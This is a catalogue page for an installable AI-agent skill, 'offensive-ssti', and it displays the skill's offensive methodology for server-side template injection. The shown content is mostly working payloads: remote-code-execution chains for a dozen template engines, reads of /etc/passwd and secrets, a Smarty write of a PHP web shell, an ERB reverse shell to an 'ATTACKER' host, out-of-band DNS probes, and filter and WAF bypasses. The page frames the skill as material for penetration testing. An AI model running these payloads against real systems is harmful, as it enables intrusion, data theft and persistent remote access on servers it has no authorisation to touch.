offensive-ssti
Dense description covering Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, EJS, Pug. Engine fingerprinting, filter bypass, blind exploitation, WAF evasion, SSTI-to-RCE chains. Tools: tplmap. CWE-1336. MITRE T1190
Install / Use
npx skills add SnailSploit/Claude-Red --skill offensive-sstiInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of offensive-ssti
offensive-ssti scores 96/100 on our quality scale, 138th of 653 Security skills we index (top 22%).
Its SKILL.md is 22 KB long, well organised into 81 sections with 44 code examples: a thorough specification that gives an agent plenty to work with.
With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated 6 days ago, so offensive-ssti is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.
Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
offensive-ssti compared with similar skills
All 4 of these similar skills score higher than offensive-ssti; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| offensive-ssti (this skill)by SnailSploit | 96 | 6.8k | 6d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 130.2k | 5d ago | SKILL.md |
| ui-ux-pro-maxby nextlevelbuilder | 100 | 130.2k | 5d ago | SKILL.md |
Frequently asked questions
- How do I install offensive-ssti?
- Run
npx skills add SnailSploit/Claude-Red --skill offensive-ssti. The install tabs above show the steps for each supported agent. - Which AI agents does offensive-ssti work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is offensive-ssti safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is offensive-ssti still maintained?
- The repository was last updated 6 days ago, so offensive-ssti is actively maintained.
Skill content
View source on GitHubname: offensive-ssti description: "Dense description covering Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, EJS, Pug. Engine fingerprinting, filter bypass, blind exploitation, WAF evasion, SSTI-to-RCE chains. Tools: tplmap. CWE-1336. MITRE T1190. Use when testing template rendering endpoints or exploiting template injection for code execution."
Server-Side Template Injection (SSTI) -- Offensive Methodology
SSTI exists wherever user-controlled input is concatenated into a server-side
template string and the engine evaluates it as code. The engine executes
attacker-supplied directives, granting access to the language runtime and, in
nearly every engine, remote code execution through the host language's object
model. You encounter SSTI in any application passing raw user input to functions
like render_template_string(), Template(), or compile().
CWE-1336. MITRE ATT&CK T1190.
Quick Workflow
- Map injection surfaces: URL params, POST bodies, JSON values, path segments, headers, cookies.
- Inject polyglot probes and engine-specific arithmetic expressions; note evaluation, errors, or blank output.
- Fingerprint the engine via decision-tree probes, error signatures, and variable enumeration (section 1).
- Confirm server-side execution -- rule out client-side template injection (AngularJS, Vue.js).
- Escalate to information disclosure: dump config, env vars, secrets, internal paths.
- Achieve code execution with the engine-specific chain; apply bypass techniques if blocked (section 6).
- Chain for higher impact: file read, SSRF to cloud metadata, reverse shell, internal pivot.
- Produce non-destructive PoC with unique marker and capture the full request/response chain.
1. Engine Detection and Fingerprinting
1.1 Polyglot Probes
${{<%[%'"}}%\ Universal polyglot
{{7*7}} Double-curly arithmetic
{{7*'7'}} String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %> ERB / EJS style
#{7*7} Pebble / Pug / Thymeleaf contexts
@(7+7) Razor (.NET)
Engine-narrowing probes:
{{config}} Jinja2/Flask config dict
{{_self.env}} Twig Environment object
{$smarty.version} Smarty version string
<#assign x=1> Freemarker (then reference x in dollar-curly)
For Velocity, inject #set( $x = 7 * 7 ) then reference $x.
For Thymeleaf/SpEL, inject a dollar-curly expression with T(java.lang.Math).PI.
For Mako, inject a dollar-curly expression with self.module.__name__.
1.2 Decision Tree
{{7*7}} --> 49?
YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
--> "49"? --> Twig
--> error? --> Handlebars
NO --> dollar-curly with 7*7 --> 49?
YES --> dollar-curly with class ref --> Velocity
dollar-curly with T(Math).PI --> Thymeleaf
<#assign x=1> then ref x --> Freemarker
error contains "mako" --> Mako
NO --> <%= 7*7 %> --> 49?
error with "erb"/"Erubi" --> ERB
error with "ejs" --> EJS
@(7+7) --> 14? --> Razor
1.3 Error Signatures
| Signature | Engine |
|--------------------------------------------------|------------|
| jinja2.exceptions.UndefinedError | Jinja2 |
| Twig\Error\SyntaxError | Twig |
| freemarker.core.ParseException | Freemarker |
| org.apache.velocity.exception | Velocity |
| com.mitchellbosecke.pebble.error | Pebble |
| SmartyCompilerException | Smarty |
| mako.exceptions.SyntaxException | Mako |
| Parse error with Handlebars context | Handlebars |
| SyntaxError with ERB path | ERB |
| org.thymeleaf.exceptions.TemplateProcessing | Thymeleaf |
| SyntaxError with .ejs path | EJS |
| Pug:Error | Pug |
1.4 Blind Detection
Time-based: {{range(99999999)|join}} (Jinja2), <%= sleep(5) %> (ERB).
For Java engines, inject a dollar-curly with T(java.lang.Thread).sleep(5000).
OOB DNS: Use Burp Collaborator or interactsh. Jinja2:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}.
Twig: {{['nslookup UNIQUE.oastify.com']|map('system')}}.
Error inference: Compare {{7*7}} vs {{7*'INVALID}} -- different response
behavior confirms processing.
2. Jinja2 / Python
Exploitation relies on MRO traversal to object, subclass enumeration, and
__globals__/__builtins__ access.
2.1 MRO Traversal and Subclass Enumeration
{{''.__class__.__mro__[1]}} # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}} # List all subclasses
# Find subprocess.Popen index (varies by Python version -- never hardcode)
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in cls.__name__ %}{{ loop.index0 }}{% endif %}
{% endfor %}
2.2 RCE Chains
# Via subprocess.Popen (replace INDEX with runtime value)
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}
# Via self.__init__.__globals__
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via request.application (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via config object
{{config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via cycler (bypasses some sandboxes)
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
# Via lipsum / namespace / joiner globals
{{lipsum.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
# Via warnings module search
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen('id').read()}}
{% endif %}
{% endfor %}
2.3 File Ops and Info Disclosure
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # Read file
{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
{{config}} # Flask config
{{config['SQLALCHEMY_DATABASE_URI']}} # DB URI
{{request.environ}} # WSGI env
3. Twig / PHP
3.1 Legacy (Twig 1.x) -- _self.env
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
3.2 Modern (Twig 2.x/3.x) -- Filter Callbacks
{{'id'|filter('system')}} # filter() with system
{{'id'|filter('passthru')}} # filter() with passthru
{{['id']|map('system')|join}} # map() callback
{{['id',0]|sort('system')|join}} # sort() callback
{{[0,'id']|reduce('system')}} # reduce() callback
3.3 Info Disclosure
{{app.request.server.all|join(',')}} # Symfony server vars
{{dump(app)}} # Full app dump
{{'/etc/passwd'|file_excerpt(1,100)}} # File read (debug mode)
{{'/etc/passwd'|file_get_contents}} # If exposed as filter
4. Java Template Engines
4.1 Freemarker -- Execute and ObjectConstructor
RCE via the Execute class -- use <#assign> to instantiate it, then reference
it in a dollar-curly expression with the command string as argument:
GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
Host: target.example.com
ObjectConstructor for ProcessBuilder:
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
<#assign proc = pb.start()>
4.2 Velocity -- Runtime.exec
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next()
4.3 Pebble -- Reflection Chain
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}
4.4 Thymeleaf -- SpEL via Preprocessing
Thymeleaf preprocessing evaluates double-underscore-wrapped expressions before template resolution. Inject into path variables or parameters:
GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
Host: target.example.com
File read:
GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
Host: target.example.com
SpEL keyword bypass via Character references:
T(Character).toString(105).concat(T(Character).toString(100)) produces id.
Spring bean access: @environment.getProperty('spring.datasource.password').
5. Other Engines
5.1 Smarty (PHP)
{$smarty.version} # Version disclosure
{php}echo shell_exec('id');{/php} # If {php} tags enabled (legacy)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}
5.2 Mako (Python)
Mako compiles to Python modules with full runtime access. Block-style:
<% import os; result = os.popen('id').read() %>
Then output the variable in a dollar-curly expression. URL-encoded single-line:
GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Host: target.example.com
5.3 ERB (Ruby)
<%= system("id") %> # Command exec
<%= `id` %> # Backtick exec
<%= File.open('/etc/passwd').read() %> # File read
<%= Rails.application.credentials.secret_key_base %> # Rails secrets
<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
5.4 Handlebars (Node.js)
Logic-less by design; RCE requires prototype pollution or unsafe helpers:
{{#with "s" as |string|}}
{{#with "e"}}{{#with split as |conslist|}}
{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}{{/with}}
{{/with}}
5.5 EJS (Node.js)
<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>
Prototype pollution via outputFunctionName:
POST /render HTTP/1.1
Content-Type: application/json
{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
5.6 Pug / Nunjucks (Node.js)
Pug:
- var x = global.process.mainModule.require('child_process').execSync('id').toString()
p= x
Nunjucks:
{{range.constructor("return global.process.mainM
Truncated for display — read the full file on GitHub.
Related Skills
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way — as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an em…
design
130.2kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVG…
ui-ux-pro-max
130.2kUI/UX design intelligence for web, mobile, and desktop. This skill should be used when designing, building, reviewing, or fixing interfaces, including pages, components, design systems, accessibility, interaction, responsive layout, typography, color, charts, and stack-specific UI implementation.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
